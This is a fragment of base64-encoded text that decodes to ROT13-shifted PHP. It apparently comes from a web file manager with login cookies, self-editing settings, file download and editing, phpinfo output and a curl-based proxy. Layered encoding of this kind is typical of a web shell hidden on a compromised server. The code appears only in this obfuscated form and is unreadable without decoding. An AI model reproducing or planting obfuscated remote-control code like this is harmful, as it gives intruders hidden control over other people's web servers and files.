uenIiIGlueWhyPSIiIGN5bnBydWJ5cXJlPSInLl9fKCdBcmonKS4nICcuX18oJ0FuenInKS4nIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+PGdya2duZXJuIGFuenI9IicuJHlhdF9nY3kuJ19hcmpfaW55aHIiICBwYnlmPSI1NSIgZWJqZj0iNSIgcHluZmY9Imdya2duZXJuX3ZhY2hnIiBjeW5wcnVieXFyZT0iJy5fXygnQXJqJykuJyAnLl9fKCdJbnlocicpLiciPjwvZ3JrZ25lcm4+PC9ncT48L2dlPg0KPGdlPjxncSBwYnlmY25hPSIyIiBweW5mZj0iZWJqMyI+PHZhY2hnIGdsY3I9ImZob3p2ZyIgaW55aHI9IicuX18oJ05xcScpLiciID48L2dxPjwvZ2U+DQo8L3NiZXo+DQo8L2dub3lyPg0KJzsNCn0NCg0KLyogUmFxIFNoYXBndmJhZiAqLw0KDQovLyBuaGd1YmV2bW5ndmJhDQp2cyAoJG5oZ3VbJ25oZ3ViZXZtciddKSB7DQoJdnMgKHZmZnJnKCRfQ0JGR1sneWJ0dmEnXSkgJiYgdmZmcmcoJF9DQkZHWydjbmZmamJlcSddKSl7DQoJCXZzICgoJF9DQkZHWyd5YnR2YSddPT0kbmhndVsneWJ0dmEnXSkgJiYgKCRfQ0JGR1snY25mZmpiZXEnXT09JG5oZ3VbJ2NuZmZqYmVxJ10pKSB7DQoJCQlmcmdwYmJ4dnIoJG5oZ3VbJ3BiYnh2cl9hbnpyJ10sICRuaGd1Wyd5YnR2YSddLid8Jy56cTUoJG5oZ3VbJ2NuZmZqYmVxJ10pLCBndnpyKCkgKyAoODY0MDAgKiAkbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10pKTsNCgkJCSRfUEJCWFZSWyRuaGd1WydwYmJ4dnJfYW56ciddXT0kbmhndVsneWJ0dmEnXS4nfCcuenE1KCRuaGd1WydjbmZmamJlcSddKTsNCgkJfQ0KCX0NCgl2cyAoIXZmZnJnKCRfUEJCWFZSWyRuaGd1WydwYmJ4dnJfYW56ciddXSkgQkUgKCRfUEJCWFZSWyRuaGd1WydwYmJ4dnJfYW56ciddXSE9JG5oZ3VbJ3lidHZhJ10uJ3wnLnpxNSgkbmhndVsnY25mZmpiZXEnXSkpKSB7DQoJCXJwdWIgJw0KPCFxYnBnbGNyIHVnenk+DQo8dWd6eT4NCjx1cm5xPg0KPHpyZ24gcHVuZWZyZz0iaGdzLTgiIC8+DQo8enJnbiBhbnpyPSJpdnJqY2JlZyIgcGJhZ3JhZz0ianZxZ3U9cXJpdnByLWp2cWd1LCB2YXZndm55LWZwbnlyPTEiIC8+DQo8Z3ZneXI+Jy5fXygnU3Z5ciB6bmFudHJlJykuJzwvZ3ZneXI+DQo8L3VybnE+DQo8b2JxbD4NCjxzYmV6IG5wZ3ZiYT0iIiB6cmd1YnE9ImNiZmciPg0KJy5fXygnWWJ0dmEnKS4nIDx2YWNoZyBhbnpyPSJ5YnR2YSIgZ2xjcj0iZ3JrZyI+JmFvZmM7JmFvZmM7JmFvZmM7DQonLl9fKCdDbmZmamJlcScpLicgPHZhY2hnIGFuenI9ImNuZmZqYmVxIiBnbGNyPSJjbmZmamJlcSI+JmFvZmM7JmFvZmM7JmFvZmM7DQo8dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iJy5fXygnUmFncmUnKS4nIiBweW5mZj0ic3pfdmFjaGciPg0KPC9zYmV6Pg0KJy5zel95bmF0X3NiZXooJHluYXRobnRyKS4nDQo8L29icWw+DQo8L3Vnenk+DQonOyAgDQpxdnIoKTsNCgl9DQoJdnMgKHZmZnJnKCRfQ0JGR1snZGh2ZyddKSkgew0KCQloYWZyZygkX1BCQlhWUlskbmhndVsncGJieHZyX2FuenInXV0pOw0KCQlmcmdwYmJ4dnIoJG5oZ3VbJ3BiYnh2cl9hbnpyJ10sICcnLCBndnpyKCkgLSAoODY0MDAgKiAkbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10pKTsNCgkJdXJucXJlKCdZYnBuZ3ZiYTogJy5zel9mdmdyX2hleSgpLiRfRlJFSVJFWydFUkRIUkZHX0hFViddKTsNCgl9DQp9DQoNCi8vIFB1bmF0ciBwYmFzdnQNCnZzICh2ZmZyZygkX1RSR1snc3pfZnJnZ3ZhdGYnXSkpIHsNCgl2cyAodmZmcmcoJF9UUkdbJ3N6X3BiYXN2dF9xcnlyZ3InXSkpIHsgDQoJCWhhZnJnKCRfUEJCWFZSWydzel9wYmFzdnQnXSk7DQoJCWZyZ3BiYnh2cignc3pfcGJhc3Z0JywgJycsIGd2enIoKSAtICg4NjQwMCAqICRuaGd1WydxbmxmX25oZ3ViZXZtbmd2YmEnXSkpOw0KCQl1cm5xcmUoJ1licG5ndmJhOiAnLnN6X2hleSgpLic/c3pfZnJnZ3ZhdGY9Z2VocicpOw0KCQlya3ZnKDApOw0KCX0JcnlmcnZzICh2ZmZyZygkX0NCRkdbJ3N6X3BiYXN2dCddKSkgeyANCgkJJHN6X3BiYXN2dCA9ICRfQ0JGR1snc3pfcGJhc3Z0J107DQoJCWZyZ3BiYnh2cignc3pfcGJhc3Z0JywgZnJldm55dm1yKCRzel9wYmFzdnQpLCBndnpyKCkgKyAoODY0MDAgKiAkbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10pKTsNCgkJJF9QQkJYVlJbJ3N6X3BiYXN2dCddID0gZnJldm55dm1yKCRzel9wYmFzdnQpOw0KCQkkemZ0ID0gX18oJ0ZyZ2d2YXRmJykuJyAnLl9fKCdxYmFyJyk7DQoJfQlyeWZydnMgKHZmZnJnKCRfQ0JGR1snc3pfeWJ0dmEnXSkpIHsgDQoJCXZzIChyemNnbCgkX0NCRkdbJ3N6X3lidHZhJ11bJ25oZ3ViZXZtciddKSkgJF9DQkZHWydzel95YnR2YSddID0gbmVlbmwoJ25oZ3ViZXZtcicgPT4gJzAnKSArICRfQ0JGR1snc3pfeWJ0dmEnXTsNCgkJJHN6X3lidHZhID0gd2ZiYV9yYXBicXIoJF9DQkZHWydzel95YnR2YSddKTsNCgkJJHN0cCA9IHN2eXJfdHJnX3BiYWdyYWdmKF9fU1ZZUl9fKTsNCgkJJGZybmVwdSA9IGNlcnRfem5ncHUoJyNuaGd1YmV2bW5ndmJhW1xmXT9cPVtcZl0/XCdce1wiKC4qPylcIlx9XCc7IycsICRzdHAsICR6bmdwdXJmKTsNCgkJdnMgKCFyemNnbCgkem5ncHVyZlsxXSkpIHsNCgkJCSRzdnlyemd2enIgPSBzdnlyemd2enIoX19TVllSX18pOw0KCQkJJGVyY3lucHIgPSBmZ2VfZXJjeW5wcigneyInLiR6bmdwdXJmWzFdLicifScsJHN6X3lidHZhLCRzdHApOw0KCQkJdnMgKHN2eXJfY2hnX3BiYWdyYWdmKF9fU1ZZUl9fLCAkZXJjeW5wcikpIHsNCgkJCQkkemZ0IC49IF9fKCdTdnlyIGhjcW5ncnEnKTsNCgkJCQl2cyAoJF9DQkZHWydzel95YnR2YSddWyd5YnR2YSddICE9ICRuaGd1Wyd5YnR2YSddKSAkemZ0IC49ICcgJy5fXygnWWJ0dmEnKS4nOiAnLiRfQ0JGR1snc3pfeWJ0dmEnXVsneWJ0dmEnXTsNCgkJCQl2cyAoJF9DQkZHWydzel95YnR2YSddWydjbmZmamJlcSddICE9ICRuaGd1WydjbmZmamJlcSddKSAkemZ0IC49ICcgJy5fXygnQ25mZmpiZXEnKS4nOiAnLiRfQ0JGR1snc3pfeWJ0dmEnXVsnY25mZmpiZXEnXTsNCgkJCQkkbmhndSA9ICRfQ0JGR1snc3pfeWJ0dmEnXTsNCgkJCX0NCgkJCXJ5ZnIgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKTsNCgkJCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnc3pfZXJmZ2Jlcl9ndnpyJ10pKSBnYmhwdShfX1NWWVJfXywkc3Z5cnpndnpyKTsNCgkJfQ0KCX0gcnlmcnZzICh2ZmZyZygkX0NCRkdbJ2djeV9ycXZncnEnXSkpIHsgDQoJCSR5YXRfZ2N5ID0gJF9DQkZHWydnY3lfcnF2Z3JxJ107DQoJCXZzICghcnpjZ2woJF9DQkZHWyR5YXRfZ2N5LidfYW56ciddKSkgew0KCQkJJHN6X2N1YyA9IHdmYmFfcmFwYnFyKG5lZW5sX3Biem92YXIoJF9DQkZHWyR5YXRfZ2N5LidfYW56ciddLCRfQ0JGR1skeWF0X2djeS4nX2lueWhyJ10pLFdGQkFfVVJLX05DQkYpOw0KCQl9IHJ5ZnJ2cyAoIXJ6Y2dsKCRfQ0JGR1skeWF0X2djeS4nX2Fyal9hbnpyJ10pKSB7DQoJCQkkc3pfY3VjID0gd2ZiYV9yYXBicXIod2ZiYV9xcnBicXIoJHskeWF0X2djeS4nX2dyemN5bmdyZid9LGdlaHIpK25lZW5sKCRfQ0JGR1skeWF0X2djeS4nX2Fyal9hbnpyJ109PiRfQ0JGR1skeWF0X2djeS4nX2Fyal9pbnlociddKSxXRkJBX1VSS19OQ0JGKTsNCgkJfQ0KCQl2cyAoIXJ6Y2dsKCRzel9jdWMpKSB7DQoJCQkkc3RwID0gc3Z5cl90cmdfcGJhZ3JhZ2YoX19TVllSX18pOw0KCQkJJGZybmVwdSA9IGNlcnRfem5ncHUoJyMnLiR5YXRfZ2N5LidfZ3J6Y3luZ3JmW1xmXT9cPVtcZl0/XCdce1wiKC4qPylcIlx9XCc7IycsICRzdHAsICR6bmdwdXJmKTsNCgkJCXZzICghcnpjZ2woJHpuZ3B1cmZbMV0pKSB7DQoJCQkJJHN2eXJ6Z3Z6ciA9IHN2eXJ6Z3Z6cihfX1NWWVJfXyk7DQoJCQkJJGVyY3lucHIgPSBmZ2VfZXJjeW5wcigneyInLiR6bmdwdXJmWzFdLicifScsJHN6X2N1Yywkc3RwKTsNCgkJCQl2cyAoc3Z5cl9jaGdfcGJhZ3JhZ2YoX19TVllSX18sICRlcmN5bnByKSkgew0KCQkJCQkkeyR5YXRfZ2N5LidfZ3J6Y3luZ3JmJ30gPSAkc3pfY3VjOw0KCQkJCQkkemZ0IC49IF9fKCdTdnlyIGhjcW5ncnEnKTsNCgkJCQl9IHJ5ZnIgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKTsNCgkJCQl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ3N6X2VyZmdiZXJfZ3Z6ciddKSkgZ2JocHUoX19TVllSX18sJHN2eXJ6Z3Z6cik7DQoJCQl9CQ0KCQl9IHJ5ZnIgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKTsNCgl9DQp9DQoNCi8vIFdoZmcgZnViaiB2em50cg0KdnMgKHZmZnJnKCRfVFJHWyd2enQnXSkpIHsNCgkkc3Z5cj1vbmZyNjRfcXJwYnFyKCRfVFJHWyd2enQnXSk7DQoJdnMgKCR2YXNiPXRyZ3Z6bnRyZnZtcigkc3Z5cikpew0KCQlmanZncHUgICgkdmFzYlsyXSl7CS8vMT1UVlMsIDI9V0NULCAzPUNBVCwgND1GSlMsIDU9Q0ZRLCA2PU9aQw0KCQkJcG5mciAxOiAkcmtnPSd0dnMnOyBvZXJueDsNCgkJCXBuZnIgMjogJHJrZz0nd2NydCc7IG9lcm54Ow0KCQkJcG5mciAzOiAkcmtnPSdjYXQnOyBvZXJueDsNCgkJCXBuZnIgNjogJHJrZz0nb3pjJzsgb2Vybng7DQoJCQlxcnNuaHlnOiBxdnIoKTsNCgkJfQ0KCQl1cm5xcmUoIlBiYWdyYWctZ2xjcjogdnpudHIvJHJrZyIpOw0KCQlycHViIHN2eXJfdHJnX3BiYWdyYWdmKCRzdnlyKTsNCgkJcXZyKCk7DQoJfQ0KfQ0KDQovLyBXaGZnIHFiamF5Ym5xIHN2eXINCnZzICh2ZmZyZygkX1RSR1sncWJqYXlibnEnXSkpIHsNCgkkc3Z5cj1vbmZyNjRfcXJwYnFyKCRfVFJHWydxYmpheWJucSddKTsNCglzel9xYmpheWJucSgkc3Z5cik7CQ0KfQ0KDQovLyBXaGZnIGZ1YmogdmFzYg0KdnMgKHZmZnJnKCRfVFJHWydjdWN2YXNiJ10pKSB7DQoJY3VjdmFzYigpOyANCglxdnIoKTsNCn0NCg0KLy8gWnZhdiBjZWJrbCwgem5hbCBvaHRmIQ0KdnMgKHZmZnJnKCRfVFJHWydjZWJrbCddKSAmJiAoIXJ6Y2dsKCRzel9wYmFzdnRbJ3Jhbm95cl9jZWJrbCddKSkpIHsNCgkkaGV5ID0gdmZmcmcoJF9UUkdbJ2hleSddKT9oZXlxcnBicXIoJF9UUkdbJ2hleSddKTonJzsNCgkkY2Via2xfc2JleiA9ICcNCjxxdmkgZmdseXI9ImNiZnZndmJhOmVyeW5ndmlyO20tdmFxcms6MTAwNTAwO29ucHh0ZWJoYXE6IHl2YXJuZS10ZW5xdnJhZyhnYiBvYmdnYnosICNQUTVQNVAgMCUsI29zcjhzOSA1MCUsIzlzcThycyA1MSUsIzJubzBycSAxMDAlKTsiPg0KCTxzYmV6IG5wZ3ZiYT0iIiB6cmd1YnE9IlRSRyI+DQoJPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0iY2Via2wiIGlueWhyPSJnZWhyIj4NCgknLnN6X3VienIoKS4nIDxuIHVlcnM9IicuJGhleS4nIiBnbmV0cmc9Il9veW5heCI+SGV5PC9uPjogPHZhY2hnIGdsY3I9Imdya2ciIGFuenI9ImhleSIgaW55aHI9IicuJGhleS4nIiBmdm1yPSI1NSI+DQoJPHZhY2hnIGdsY3I9ImZob3p2ZyIgaW55aHI9IicuX18oJ0Z1YmonKS4nIiBweW5mZj0ic3pfdmFjaGciPg0KCTwvc2Jlej4NCjwvcXZpPg0KJzsNCgl2cyAoJGhleSkgew0KCQkkcHUgPSBwaGV5X3ZhdmcoJGhleSk7DQoJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19IRlJFTlRSQUcsICdRcmExa2trIGdyZmcgY2Via2wnKTsNCgkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1NCWVlCSllCUE5HVkJBLCAxKTsNCgkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0ZGWV9JUkVWU0xVQkZHLDApOw0KCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRkZZX0lSRVZTTENSUkUsMCk7DQoJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19VUk5RUkUsIDApOw0KCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRVJTUkVSRSwgJGhleSk7DQoJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19FUkdIRUFHRU5BRlNSRSxnZWhyKTsNCgkJJGVyZmh5ZyA9IHBoZXlfcmtycCgkcHUpOw0KCQlwaGV5X3B5YmZyKCRwdSk7DQoJCS8vJGVyZmh5ZyA9IGNlcnRfZXJjeW5wcignIyhmZXApPVsiXCddW3VnZ2M6Ly9dPyhbXjpdKilbIlwnXSNIdicsICdcXDE9IicuJGhleS4nL1xcMiInLCAkZXJmaHlnKTsNCgkJJGVyZmh5ZyA9IGNlcnRfZXJjeW5wcl9wbnl5b25weCgnIyh1ZXJzfGZlcCk9WyJcJ11bdWdnYzovL10/KFteOl0qKVsiXCddI0h2JywgJ3N6X2hleV9jZWJrbCcsICRlcmZoeWcpOw0KCQkkZXJmaHlnID0gY2VydF9lcmN5bnByKCclKDxvYnFsLio/PikldicsICckMScuJzxmZ2x5cj4nLnN6X3VienJfZmdseXIoKS4nPC9mZ2x5cj4nLiRjZWJrbF9zYmV6LCAkZXJmaHlnKTsNCgkJcnB1YiAkZXJmaHlnOw0KCQlxdnIoKTsNCgl9IA0KfQ0KPz4NCjwhcWJwZ2xjciB1Z3p5Pg0KPHVnenk+DQo8dXJucT4gICAgIA0KCTx6cmduIHB1bmVmcmc9Imhncy04IiAvPg0KCTx6cmduIGFuenI9Iml2cmpjYmVnIiBwYmFncmFnPSJqdnFndT1xcml2cHItanZxZ3UsIHZhdmd2bnktZnBueXI9MSIgLz4NCiAgICA8Z3ZneXI+PD89X18oJ1N2eXIgem5hbnRyZScpPz48L2d2Z3lyPg0KPGZnbHlyPg0Kb2JxbCB7DQoJb25weHRlYmhhcS1wYnliZToJanV2Z3I7DQoJc2JhZy1zbnp2eWw6CQlJcmVxbmFuLCBOZXZueSwgVXJ5aXJndnBuLCBmbmFmLWZyZXZzOw0KCXNiYWctZnZtcjoJCQk4Y2c7DQoJem5ldHZhOgkJCQkwY2s7DQp9DQoNCm46eXZheCwgbjpucGd2aXIsIG46aXZmdmdycSB7IHBieWJlOiAjMDA2Njk5OyBncmtnLXFycGJlbmd2YmE6IGFiYXI7IH0NCm46dWJpcmUgeyBwYnliZTogIyMgI1I5OTY3TiA7IGdya2ctcXJwYmVuZ3ZiYTogaGFxcmV5dmFyOyB9DQpuLmd1Onl2YXggeyBwYnliZTogIyM4MDgwMDA7IGdya2ctcXJwYmVuZ3ZiYTogYWJhcjsgfQ0Kbi5ndTpucGd2aXIgeyBwYnliZTogI1NTTjM0UzsgZ3JrZy1xcnBiZW5ndmJhOiBhYmFyOyB9DQpuLmd1Oml2ZnZncnEgeyBwYnliZTogI1I5OTY3TjsgZ3JrZy1xcnBiZW5ndmJhOiBhYmFyOyB9DQpuLmd1OnViaXJlIHsgIHBieWJlOiAjIyAjUjk5NjdOIDsgZ3JrZy1xcnBiZW5ndmJhOiBoYXFyZXl2YXI7IH0NCg0KZ25veXIub3Qgew0KCW9ucHh0ZWJoYXEtcGJ5YmU6ICNQMFAwUDANCn0NCg0KZ3UsIGdxIHsgDQoJc2JhZzoJYWJlem55IDhjZyBJcmVxbmFuLCBOZXZueSwgVXJ5aXJndnBuLCBmbmFmLWZyZXZzOw0KCWNucXF2YXQ6IDNjazsNCn0NCg0KZ3UJew0KCXVydnR1ZzoJCQkJMjVjazsNCglvbnB4dGViaGFxLXBieWJlOgkjICNTMDgwODAgOw0KCXBieWJlOgkJCQkjUFE1UDVQOw0KCXNiYWctanJ2dHVnOgkJb2J5cTsNCglzYmFnLWZ2bXI6CQkJMTFjazsNCn0NCg0KLmViajEgew0KCW9ucHh0ZWJoYXEtcGJ5YmU6CSMjUzA4MDgwOw0KfQ0KDQouZWJqMiB7DQoJb25weHRlYmhhcS1wYnliZToJI1FSUjNSNzsNCn0NCg0KLmViajMgew0KCW9ucHh0ZWJoYXEtcGJ5YmU6CSNTU1AwUE87DQoJY25xcXZhdDogNWNrOw0KfQ0KDQpnZS5lYmoxOnViaXJlIHsNCglvbnB4dGViaGFxLXBieWJlOgkjUzNTUFNQOw0KfQ0KDQpnZS5lYmoyOnViaXJlIHsNCglvbnB4dGViaGFxLXBieWJlOgkjICM4MDgwMDAgOw0KfQ0KDQouanVieXIgew0KCWp2cWd1OiAxMDAlOw0KfQ0KDQoubnl5IGdvYnFsIGdxOnN2ZWZnLXB1dnlxe2p2cWd1OjEwMCU7fQ0KDQpncmtnbmVybiB7DQoJc2JhZzogOWNnICdQYmhldnJlIEFyaicsIHBiaGV2cmU7DQoJeXZhci11cnZ0dWc6IDEyNSU7DQoJY25xcXZhdDogNWNrOw0KfQ0KDQouZ3JrZ25lcm5fdmFjaGcgew0KCXVydnR1ZzogMXJ6Ow0KfQ0KDQouZ3JrZ25lcm5fdmFjaGc6c2JwaGYgew0KCXVydnR1ZzogbmhnYjsNCn0NCg0KdmFjaGdbZ2xjcj1maG96dmddew0KCW9ucHh0ZWJoYXE6ICNTUFNQU1AgYWJhciAhdnpjYmVnbmFnOw0KCXBoZWZiZTogY2J2YWdyZTsNCn0NCg0KLnNieXFyZSB7DQogICAgb25weHRlYmhhcS12em50cjogaGV5KCJxbmduOnZ6bnRyL2NhdDtvbmZyNjQsdklPQkVqMFhUdGJOTk5OQUZIdVJIdE5OTk9OTk5OTkRQTkxOTk5OczgvOXVOTk5YRzJ5UUQxT0RuVDkwbzNBYm8zTnRGSEFRVlVPbG8yTWNvVEhOTlV3bmFJQWFJU0NjU3czMzNpRVBGNHZOeVJnaUh1SFZWU1dQdjROSHhGTGRWRHhERmJ0dWJxeElIcFJFRUhIUlQ4dnR2TkJCd2JQWlNJUmZRVmJYMk5zeFZuWEJ0NkJWdmZlNzRLaHduOW44OStvQS9lS0tDaHJmODUybW1qc05QTmxKRlFBRUFMTlpkSFZyUnJQUWs4R1Q0ckRoRFZSWFdVTk5STnZtTVBTbS9GWk9OQ3UrQ1FqZVZmTlVpdE5PckFaWVBOUU5HTWlOWk9sVS9qL2REY3lwTkxQUk5wTzB4R3VZUFZOSE5STzZ3eFh6TlJPVE5MUHF6UE1HTlhOUk5UUVlMMll3TlNOZ05UTmFzK29HTlZQcStXeTdORE9veVBSSU5uUEVOUE5HTUx1Uk5UdDdOWG1DSWJjU05TdGpOT0V6RjhENU5BdGdOUU9XSTJNVk5ZUDNOWlFCUk5obE5OdFpOUU9FdlZIY05ORTdOVFFWVmxBNE5WRk1OT0VUOHlwODhGaGhSQnBkTk5PNHpvVjhoRkQ1RUxTb1BQMWtPMXFLWXU0Ym14eEtYa0QyTERXdXp4TmhqYXpNVEdYT0FOL3Q4OGpOTlhQRVNFVXR0L0M5clo0QmVmN0JBYjYyUXk4ZzZlOFQvbFd2TGhDKzVwK2VwUk5OTkJTMHNnVStZUCttVGJON09iT2cvZFZ5N3RFYkt0aHRxc3JZTWVWQ0RZSE5iQmFuSS9BaitVNDhDUkp1eFlhTTJyS3g1QXVYa1JXb0xwY0tzczVhankvTkkvMWYrSzQ4L0NzMTRZN3ZXVlJsS0xTVU9Dd3RqZm0wR1hIcG01Vld1VFlwNWI5VS9ZcFkvL2pxMGxZUkZKWDVKUGJINDFSRnBMNVJ6Ym1tWmRIdnZIWEZYcEh5MGk5eDRnOGYralorM21ITmZUYitOS2hFWW51cUxqQzJGbHBESlVHTjRpcE5OQ1g3bzhVSFhOdFF0VHZRNHA5My8rOC8vSHJ0V0RQTk14ekZwRE5OS3hEeFl5R1hmbS9VUE5OTkVYUE9YZU9PVC9HT1RQbU5PdW1PT3FtT1Ava3RBYkVQV1pHUER1T1BQekZOVVVXdFhubFBEdnZUbW9OcVh6TmkxUk5xQVpPRW5WbkdwTjRoanlKNFF3MWpRL2N1UFc3T1hZbE9QREVPbE50R0xGVW52TlN2dnl0d3d0dEt6TEs0VnBTVk9PWFlXUFFXdk9FRVZ4aEVBSHRrSGJjSFZTSVZVc1Y5cHRWNXUxa1RoY1I3bE5ObHRpbFRpUnBreVZUbEhHM0hRWUlRaG50M1RiRVRidGlETVVEa3piOEpiV2lEcGVEbkNMajJicnNEZDJ0QzJiOCtEOHBqakJ0TE9tQ1JvUU5oa2ZBUGZHdGZQTUF3bDdSdmVObGVrdWRqSWRqUWg0YTFMOCtrcWpERnRIS05QR0xScTBWdExFNU9GU3VaSlI3TEZYdHRVUEQwUnFiV0FqeFF1U1VQV2xYR2RSaDBXZWJFK3BETEx3Vmt1MXVWWVBDSlJiOEdZa083dlJDUkFsREZ2SFpsVzd6RE54emtjU0dGUmdXVDB6NUZWK3hmZE1mMEZPYnd4OGFuTVRobE9tekhZUE5lbFZLeGFyR1E1UUN4VCtEdTh5ZlhhSldOcG5HNEgrVmJIZmNkRnVheVJCSDA1RE15elFXT0luQm5IZzJiYklERUFMOW5EZDJ1Z3lYaUhMcmJSbUUxendhQXRrTVdGNkpnYmNLR1R6dEtuQ3FjZSt1MGh1VXF5RTVCeTlPSzBmaWNFK3ZLNk5DMHFqakF1dUpRazR1YVhPem9UTnBMTWt5M1RYK0xHWExNMDRmTWsxRGpBbVVlekJyTVE1eWlJSXRkZ3ZjOFNNVVhQY0lYeUZuSVRsYmlJWHpkY2RlcmR0Z0k4MUtZSVYrY0t5QTlleE1JWjFDd2REYUh5ZGdJZGMxRDYxWm9IMnJjQjZ2VWR6cmJvMUQvY1U1TS9MeFRKcEFaajA5UWNTVHRmSS93aVpMdFAyWk1mM3RmVkpmQWQ0TTF0R0tSV2VVQTJLazJYZWhML0UyN3ZtMmRkblI1RG1BWFoxcm1IaUJITXc4VTQ1dWsrV2swR3RhYVhYcks4MzZYM3VHaVhyVmNUNkwwR1l4a01Ja2VkY25LeXl2ZUZYZ0VkMHNlaUduaDducnFjZTFTaDFhN3RENU9rMGJhS1BxVU00L0JPTTNhSDl5RzNucFhja01BQ0dlMWV2NmRuNkhvYm9nUnE3OWhjKzZMYWU1cnRXNVpvNnNycm8zYSt1azlZLzFIL0ozNmMvSVVRU3RUZmpqeE9nZlptdXQ4a0dJa29tanFZOHNvOElTUUtwQU5ENkl1eUpUSzRMRkVocVI4YjlJVHdITEN3VGFUS0JaeDQyM1RvcG53V3RMelZGTVlHcmNBN2NjRkdvenpYbkw3R1FnWms4M1ptbllBMWN4MXptMGsxbVlheitybzE1aXNnMk9uclNiZmdkdjJoVElXZmhFbmN5YWhnZWtodUliNUpuSUxJSWNxZjBuZ2FuMHkxZWhnaDZwRWM3eUJ4MDZlYWdNYWo3UWtnZnoyZG9wTWZCS0xPZ2hoZ3oyMnNKU2FMdXFhZzhKaGorNkdpTUE5aGEyQS9HMFVRTHNNUWRmcUp1MStwN0VsU1FjSkJnNm5tY21oQzMzUzlXb2NZMnFMbWtRQzJRQ3dndUNZWHBFY2FJQm8wMHFhUzJyNXA0Q212VmhXRjRZWVljcCtZY2Zva2czVmlyRVhxQ0lrS3JTNjBpSnF6N0JvamgyYjI2L2hBaDVjN2JzcGE4ajBhbHpySkdBbTBaQ1ZEK09FNXFSL1A1K0laVGlzZVU1Q0QwK09NN0thVmw5d1k1U0tlcXJqZzZJM2RpcXU3a3ArOXc1bGErWis0bWozM3dZckpJL1pBOFAzbFlzWUc4QWlheStTMzBBL1YvOXgvM2UvMERQYXRQSE9NakJXdEhUT0pqWTcrVWM4Vm8rQkNtZW9Nc25sMnIxT3dYUDVERUlPdzRYZ3RoS09lRlNibEJsRGVGVTM1NXdCeHA1Y1FiSURzaHdKME5xdTV6VFlqMzRaVzRKVXVJclRDNDVqdlN0bjBHVEtBS3NFM1JBbTMwRzZFV01SM2NnYVpIODVlbDFYQUZiK2R2NWRDQWIzaHdGNkM4TGhNeWFaMUl2cUpSeWZGa2o1WXZkaEF6NWZpZy84N3NCVTRjM3ZQK0E3UzV0aWxTMWpyblVCamlGU2NrbmNZdVZmQmNNTkdWdUJCV0dqREVOZGRPblpXc1ZHcWxKQlBhYVBVcFdhVnYvRUFnVFYyUkFwWHU1Qjh4dGRHS2RGN1dUOEFLeHhrR0J5WUJKNXVQcmN4WWtaUUhtcXptZHJTY2MyVlQwbENHZDlaTEJGeE1Pa0RkYnVHTUIyTStjYTV6TTJsNmt5dW9ZK2tKNllnbDhyeURzV243QkRlTklNWURkMkRkb2JJU2JiMWxiVWZ6cXlJMm4vbUxhWEJNbmVhdmlBN3BsbWxnaERBNW1pYS8vZ1JmVkY0TVgyY0xNWUlsMHFKQm45ZVRiNWZ3a2tycWZYNGtIU1g0TUpPZGo4aFZkMlh6M0lHNmlnSTVyaHNlMHpyeDFldEk3T2xiWU9nRFNlNmpnSVBoSlNzcmlwMSsxcUcxdGlKcSsxTHNkVGFFZitTTHpYZXVHb1M1cElzOXRiM1V3eVQ0cWlsZStNM1dGMGRuaVJoSkdDTWdXejZyb3JZTTVvUWNuZHkrbktRejRBMnFkMFFxOUpnQjMxOXhLb1k1c0FYQWg3dDdNUWhuQi9DWXY4TW5zV21mMDdDMUZ4SUNFSCt5RDI3Z1lxZ0pVSytUN0U3dWc3aUNMMDdBS29KN20zL0c3V2lnZ0lOSUlBMUpvSU1zZ1crN0MzQzY2V2RoYTR5aWdnS24xQm9LVWdrakNGTi8wVVZqNjIxN2FIMUUzRkNJRUZ3OUxlNjBwQmtrKysvYzNpcWwwQUF0MUl3TW1UNHZBakVVYXg2c3BXMy9wclFHZW5xYms3ZUJSVTBrOTJVSnBxWTJjUHppWG5FY2dHemlnb0x5aDZHOGorMHFvZDNhZThFOWZzUTVqMENTeTVGaUFIbEphbjZMWUd4MnNsbTRscXlNMTlzdjc1M1RRb2JlTTc1MkNCMzJiQ28rKzZSVUd1MHhLL3YrcDdpUWlCS0NYNHFDWGwyK0hHSTd1S3pkODZLMjNkcUJiOC9jQ0dHOHI3YVlobmVleXBuN2FocmUyMXIybzM2RWhyQTg3cTlZMTU4RW8vMWdKckJHM3Fpc0E2by9zUzkvS3NTZzErcHZzOW1maDcyS3BhN2QyOEc3a3M5UlFnRHF5UTNMc0lDMWkrM0F3aTNVOWRqVXJ0ODlVcEUvcFR1TENDL2NVMXdqOVFPTCtNdzhoVFFMb2Vhd3QrQkdhdkMzWTk2c2xhRDg5eG1sbnJTLzZ2L2ZoaFNrTGlzaXdJNjlzQjBNd0ViTXNseTVCL29LbHkvcmVONmt6aTI4b1BrdTYrbEt0bVpJNzBJaWlnaktzcHFrM2liOThDRytFOFZVOGIvMnc1ZnNJRzBYczd4a3pHeC84Uk41d20vVFptWXFmTk5OTlRMeGdVRU5RL05DOE4vNlA5YzVaTk5OTldwUnVNcGpOTlBrWk5OTmZHTkRQbmFPdE5OTk5VcVJ5QUVEc3BQTmpUWnV5clROWEJOTk5PbFJ5UkRJRDRsOEpHRzJmSERFUVNzOUtHWitDVFZPVXFSUkRFOHJOc3R0bkNVaUdobEgrditOMzhOUzQ4cnNXb1hPNW1SMFZaTklwUHZFdURSOHR6ejExMWY5ek0zTXkrVXpubDVkTkw4VE9RcUdKQ3JiOVVJRXM4NzJCOWtJaTMvV2FlUGx0Vkg0MDZYL2RvZW9DM0lrby9kd1E4K0JGQWdQK0lLNkV2SGxlSmNLV1EybnJhc2xFM0tmOUEzdTVlU1ZqNl